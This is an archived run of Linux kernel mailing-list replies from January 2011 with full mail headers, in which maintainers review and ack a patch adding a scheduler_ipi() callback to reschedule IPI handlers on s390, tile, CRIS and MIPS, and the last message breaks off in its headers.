        by d06av12.portsmouth.uk.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p0HCIQ9k006694;
        Mon, 17 Jan 2011 05:18:28 -0700
Original-Received: from mschwide.boeblingen.de.ibm.com (dyn-9-152-212-22.boeblingen.de.ibm.com [9.152.212.22])
        by d06av12.portsmouth.uk.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p0HCIOAS006651;
        Mon, 17 Jan 2011 05:18:24 -0700
In-Reply-To: <1295262433.30950.53.camel@laptop>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.20.1; i486-pc-linux-gnu)
X-archive-position: 28935
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: schwidefsky@de.ibm.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:30020 gmane.linux.ports.alpha:1297 gmane.linux.kernel:1088347 gmane.linux.ports.arm.kernel:102776 gmane.linux.hardware.blackfin.kernel.devel:5085 gmane.linux.ports.ia64:21532 gmane.linux.ports.parisc:3389 gmane.linux.ports.ppc64.devel:72072 gmane.linux.ports.sh.devel:9848 gmane.linux.ports.sparc:14176 gmane.linux.uml.devel:12673 gmane.linux.uml.user:13872 gmane.comp.emulators.xen.devel:97172 gmane.linux.kernel.virtualization:11192 gmane.linux.kernel.cross-arch:8842
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/30020>

On Mon, 17 Jan 2011 12:07:13 +0100
Peter Zijlstra <peterz@infradead.org> wrote:

> I visited existing smp_send_reschedule() implementations and tried to
> add a call to scheduler_ipi() in their handler part, but esp. for MIPS
> I'm not quite sure I actually got all of them.
>  
> diff --git a/arch/s390/kernel/smp.c b/arch/s390/kernel/smp.c
> index 94cf510..61789e8 100644
> --- a/arch/s390/kernel/smp.c
> +++ b/arch/s390/kernel/smp.c
> @@ -163,12 +163,12 @@ static void do_ext_call_interrupt(unsigned int ext_int_code,
>  
>  	/*
>  	 * handle bit signal external calls
> -	 *
> -	 * For the ec_schedule signal we have to do nothing. All the work
> -	 * is done automatically when we return from the interrupt.
>  	 */
>  	bits = xchg(&S390_lowcore.ext_call_fast, 0);
>  
> +	if (test_bit(ec_schedule, &bits))
> +		scheduler_ipi();
> +
>  	if (test_bit(ec_call_function, &bits))
>  		generic_smp_call_function_interrupt();
>  

s390 bits are fine.

-- 
blue skies,
   Martin.

"Reality continues to ruin my life." - Calvin.




From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Metcalf <cmetcalf@tilera.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.comp.emulators.xen.devel,gmane.linux.kernel.virtualization,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] sched: provide scheduler_ipi() callback in response to
 smp_send_reschedule()
Date: Mon, 17 Jan 2011 08:52:21 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <4D344995.80701@tilera.com>
References: <1295262433.30950.53.camel@laptop>   <20110117112637.GA18599@n2100.arm.linux.org.uk>         <1295263884.30950.54.camel@laptop> <1295264509.30950.59.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295272400 4732 80.91.229.12 (17 Jan 2011 13:53:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 13:53:20 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Mike Frysinger <vapier@gentoo.org>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 17 14:53:07 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1PepW5-0007ue-HD
	for sgi-linux-mips@gmane.org; Mon, 17 Jan 2011 14:53:05 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:37250 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1493452Ab1AQNw4 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 17 Jan 2011 14:52:56 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 17 Jan 2011 14:52:38 +0100 (CET)
Original-Received: from usmamail.tilera.com ([206.83.70.70]:58254 "EHLO
        USMAMAIL.TILERA.COM" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S1493451Ab1AQNwf (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 17 Jan 2011 14:52:35 +0100
Original-Received: from [192.168.1.103] (24.34.76.130) by
 USMAExch2.tad.internal.tilera.com (10.3.0.33) with Microsoft SMTP Server id
 14.0.694.0; Mon, 17 Jan 2011 08:52:26 -0500
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101207 Lightning/1.0b2 Thunderbird/3.1.7
In-Reply-To: <1295264509.30950.59.camel@laptop>
X-archive-position: 28937
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: cmetcalf@tilera.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:30022 gmane.linux.ports.alpha:1300 gmane.linux.kernel:1088363 gmane.linux.hardware.blackfin.kernel.devel:5086 gmane.linux.ports.ia64:21533 gmane.linux.ports.parisc:3390 gmane.linux.ports.ppc64.devel:72073 gmane.linux.ports.sh.devel:9849 gmane.linux.ports.sparc:14178 gmane.linux.uml.devel:12674 gmane.linux.uml.user:13873 gmane.comp.emulators.xen.devel:97174 gmane.linux.kernel.virtualization:11193 gmane.linux.kernel.cross-arch:8844
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/30022>

On 1/17/2011 6:41 AM, Peter Zijlstra wrote:
> Index: linux-2.6/arch/tile/kernel/smp.c
> ===================================================================
> --- linux-2.6.orig/arch/tile/kernel/smp.c
> +++ linux-2.6/arch/tile/kernel/smp.c
> @@ -184,12 +184,8 @@ void flush_icache_range(unsigned long st
>  /* Called when smp_send_reschedule() triggers IRQ_RESCHEDULE. */
>  static irqreturn_t handle_reschedule_ipi(int irq, void *token)
>  {
> -       /*
> -        * Nothing to do here; when we return from interrupt, the
> -        * rescheduling will occur there. But do bump the interrupt
> -        * profiler count in the meantime.
> -        */
>         __get_cpu_var(irq_stat).irq_resched_count++;
> +       scheduler_ipi();
>
>         return IRQ_HANDLED;
>  }

Acked-by: Chris Metcalf <cmetcalf@tilera.com>

-- 
Chris Metcalf, Tilera Corp.
http://www.tilera.com




From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.comp.emulators.xen.devel,gmane.linux.kernel.virtualization,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] sched: provide scheduler_ipi() callback in response to
        smp_send_reschedule()
Date: Mon, 17 Jan 2011 14:58:53 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20110117135852.GI9874@axis.com>
References: <1295262433.30950.53.camel@laptop> <20110117112637.GA18599@n2100.arm.linux.org.uk> <1295263884.30950.54.camel@laptop> <1295264509.30950.59.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1295272812 6784 80.91.229.12 (17 Jan 2011 14:00:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 14:00:12 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Mike Frysinger <vapier@gentoo.org>,
        Mikael Starvik <starvik@axis.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 17 14:59:59 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Pepck-0002yv-4D
	for sgi-linux-mips@gmane.org; Mon, 17 Jan 2011 14:59:58 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:60769 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1493456Ab1AQN7u (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 17 Jan 2011 14:59:50 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 17 Jan 2011 14:59:32 +0100 (CET)
Original-Received: from ra.se.axis.com ([195.60.68.13]:41612 "EHLO ra.se.axis.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1493451Ab1AQN72 (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 17 Jan 2011 14:59:28 +0100
Original-Received: from localhost (localhost [127.0.0.1])
        by ra.se.axis.com (Postfix) with ESMTP id E0FBE11E94;
        Mon, 17 Jan 2011 14:59:22 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at ra.se.axis.com
Original-Received: from ra.se.axis.com ([127.0.0.1])
        by localhost (ra.se.axis.com [127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id o3H1zUkHW+Z6; Mon, 17 Jan 2011 14:59:21 +0100 (CET)
Original-Received: from thoth.se.axis.com (thoth.se.axis.com [10.0.2.173])
        by ra.se.axis.com (Postfix) with ESMTP id 8C2FA11E8F;
        Mon, 17 Jan 2011 14:59:14 +0100 (CET)
Original-Received: from silver.se.axis.com (silver.se.axis.com [10.88.4.3])
        by thoth.se.axis.com (Postfix) with ESMTP id 2F5F234157;
        Mon, 17 Jan 2011 14:59:14 +0100 (CET)
Original-Received: from silver.se.axis.com (localhost [127.0.0.1])
        by silver.se.axis.com (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p0HDxEs9031675;
        Mon, 17 Jan 2011 14:59:14 +0100
Original-Received: (from jespern@localhost)
        by silver.se.axis.com (8.14.3/8.14.3/Submit) id p0HDwrUa031663;
        Mon, 17 Jan 2011 14:58:53 +0100
Content-Disposition: inline
In-Reply-To: <1295264509.30950.59.camel@laptop>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-archive-position: 28939
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jesper.nilsson@axis.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:30024 gmane.linux.ports.alpha:1301 gmane.linux.kernel:1088365 gmane.linux.hardware.blackfin.kernel.devel:5087 gmane.linux.ports.ia64:21534 gmane.linux.ports.parisc:3391 gmane.linux.ports.ppc64.devel:72075 gmane.linux.ports.sh.devel:9850 gmane.linux.ports.sparc:14179 gmane.linux.uml.devel:12675 gmane.linux.uml.user:13874 gmane.comp.emulators.xen.devel:97176 gmane.linux.kernel.virtualization:11194 gmane.linux.kernel.cross-arch:8845
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/30024>

On Mon, Jan 17, 2011 at 12:41:49PM +0100, Peter Zijlstra wrote:
> Index: linux-2.6/arch/cris/arch-v32/kernel/smp.c
> ===================================================================
> --- linux-2.6.orig/arch/cris/arch-v32/kernel/smp.c
> +++ linux-2.6/arch/cris/arch-v32/kernel/smp.c
> @@ -340,15 +340,18 @@ irqreturn_t crisv32_ipi_interrupt(int ir
> 
>         ipi = REG_RD(intr_vect, irq_regs[smp_processor_id()], rw_ipi);
> 
> +       if (ipi.vector & IPI_SCHEDULE) {
> +               scheduler_ipi();
> +       }
>         if (ipi.vector & IPI_CALL) {
> -                func(info);
> +               func(info);
>         }
>         if (ipi.vector & IPI_FLUSH_TLB) {
> -                    if (flush_mm == FLUSH_ALL)
> -                        __flush_tlb_all();
> -                    else if (flush_vma == FLUSH_ALL)
> +               if (flush_mm == FLUSH_ALL)
> +                       __flush_tlb_all();
> +               else if (flush_vma == FLUSH_ALL)
>                         __flush_tlb_mm(flush_mm);
> -                    else
> +               else
>                         __flush_tlb_page(flush_vma, flush_addr);
>         }
> 

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com



From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney-M3mlKVOIwJVv6pq1l3V1OdBPR1lH4CV8@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.virtualization,gmane.linux.uml.devel,gmane.comp.emulators.xen.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] sched: provide scheduler_ipi()
 callback in response to smp_send_reschedule()
Date: Mon, 17 Jan 2011 11:18:57 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <4D349621.1040603@caviumnetworks.com>
References: <1295262433.30950.53.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295291979 14620 80.91.229.12 (17 Jan 2011 19:19:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 19:19:39 +0000 (UTC)
Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
        Jeremy Fitzhardinge <jeremy.fitzhardinge-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org>,
        Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
        Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        virtualization-qjLDD68F18O7TbgM5vRIOg@public.gmane.org, Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Fenghua Yu <fenghua.yu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>,
To: Peter Zijlstra <peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Mon Jan 17 20:19:26 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1Peubs-0000dx-U2
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 17 Jan 2011 20:19:25 +0100
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p0HJJ9MU014252;
	Mon, 17 Jan 2011 14:19:10 -0500
Original-Received: from mail3.caviumnetworks.com (mail3.caviumnetworks.com
	[12.108.191.235])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	p0HJIxSY014234 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Mon, 17 Jan 2011 14:19:05 -0500
Original-Received: from caexch01.caveonetworks.com (Not Verified[192.168.16.9]) by
	mail3.caviumnetworks.com with MailMarshal (v6, 7, 2, 8378)
	id <B4d3496530000>; Mon, 17 Jan 2011 11:19:47 -0800
Original-Received: from caexch01.caveonetworks.com ([192.168.16.9]) by
	caexch01.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.4675); 
	Mon, 17 Jan 2011 11:18:58 -0800
Original-Received: from dd1.caveonetworks.com ([12.108.191.236]) by
	caexch01.caveonetworks.com over TLS secured channel with
	Microsoft SMTPSVC(6.0.3790.4675); Mon, 17 Jan 2011 11:18:58 -0800
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US;
	rv:1.9.1.15) Gecko/20101027 Fedora/3.0.10-1.fc12 Thunderbird/3.0.10
In-Reply-To: <1295262433.30950.53.camel@laptop>
X-OriginalArrivalTime: 17 Jan 2011 19:18:58.0314 (UTC)
	FILETIME=[63E166A0:01CBB67B]
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5088 gmane.linux.ports.mips.general:30031 gmane.linux.ports.ia64:21535 gmane.linux.ports.sh.devel:9854 gmane.linux.ports.sparc:14187 gmane.linux.kernel.cross-arch:8846 gmane.linux.kernel.virtualization:11196 gmane.linux.uml.devel:12676 gmane.comp.emulators.xen.devel:97209 gmane.linux.uml.user:13875 gmane.linux.ports.arm.kernel:102835 gmane.linux.ports.parisc:3392 gmane.linux.kernel:1088446 gmane.linux.ports.alpha:1302 gmane.linux.ports.ppc64.devel:72081
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5088>

On 01/17/2011 03:07 AM, Peter Zijlstra wrote:
> For future rework of try_to_wake_up() we'd like to push part of that
> onto the CPU the task is actually going to run on, in order to do so we
> need a generic callback from the existing scheduler IPI.
>
> This patch introduces such a generic callback: scheduler_ipi() and
> implements it as a NOP.
>
> I visited existing smp_send_reschedule() implementations and tried to
> add a call to scheduler_ipi() in their handler part, but esp. for MIPS
> I'm not quite sure I actually got all of them.
>
> Also, while reading through all this, I noticed the blackfin SMP code
> looks to be broken, it simply discards any IPI when low on memory.
>
> Signed-off-by: Peter Zijlstra<a.p.zijlstra-/NLkJaSkS4VmR6Xm/wNWPw@public.gmane.org>
> ---
>   arch/alpha/kernel/smp.c         |    1 +
>   arch/arm/kernel/smp.c           |    1 +
>   arch/blackfin/mach-common/smp.c |    3 ++-
>   arch/cris/arch-v32/kernel/smp.c |   13 ++++++++-----
>   arch/ia64/kernel/irq_ia64.c     |    2 ++
>   arch/ia64/xen/irq_xen.c         |   10 +++++++++-
>   arch/m32r/kernel/smp.c          |    2 +-
>   arch/mips/kernel/smtc.c         |    1 +
>   arch/mips/sibyte/bcm1480/smp.c  |    7 +++----
>   arch/mips/sibyte/sb1250/smp.c   |    7 +++----
[...]

Peter,

You will also have to patch the mailbox_interrupt() function in 
arch/mips/cavium-octeon/smp.c

David Daney.

From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.virtualization,gmane.linux.uml.devel,gmane.comp.emulators.xen.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] sched: provide scheduler_ipi()
 callback in response to smp_send_reschedule()
Date: Mon, 17 Jan 2011 14:49:40 -0500
Lines: 6
Approved: news@gmane.org
Message-ID: <AANLkTik3hE=_34Lbs944MzKpkNzqY+kCxpxmncUM2HB7@mail.gmail.com>
References: <1295262433.30950.53.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295294024 25613 80.91.229.12 (17 Jan 2011 19:53:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 19:53:44 +0000 (UTC)
Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
        Jeremy Fitzhardinge <jeremy.fitzhardinge-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org>,
        Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
        Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        virtualization-qjLDD68F18O7TbgM5vRIOg@public.gmane.org, Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Fengh
To: Peter Zijlstra <peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Mon Jan 17 20:53:30 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1Pev8q-000263-LP
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 17 Jan 2011 20:53:29 +0100
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p0HJrJId017073;
	Mon, 17 Jan 2011 14:53:20 -0500
Original-Received: from mail-ww0-f50.google.com (mail-ww0-f50.google.com [74.125.82.50])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	p0HJr1eS017053 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Mon, 17 Jan 2011 14:53:07 -0500
Original-Received: by wwf26 with SMTP id 26so5555552wwf.31
	for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Mon, 17 Jan 2011 11:52:51 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma;
	h=domainkey-signature:mime-version:sender:in-reply-to:references:from
	:date:x-google-sender-auth:message-id:subject:to:cc:content-type;
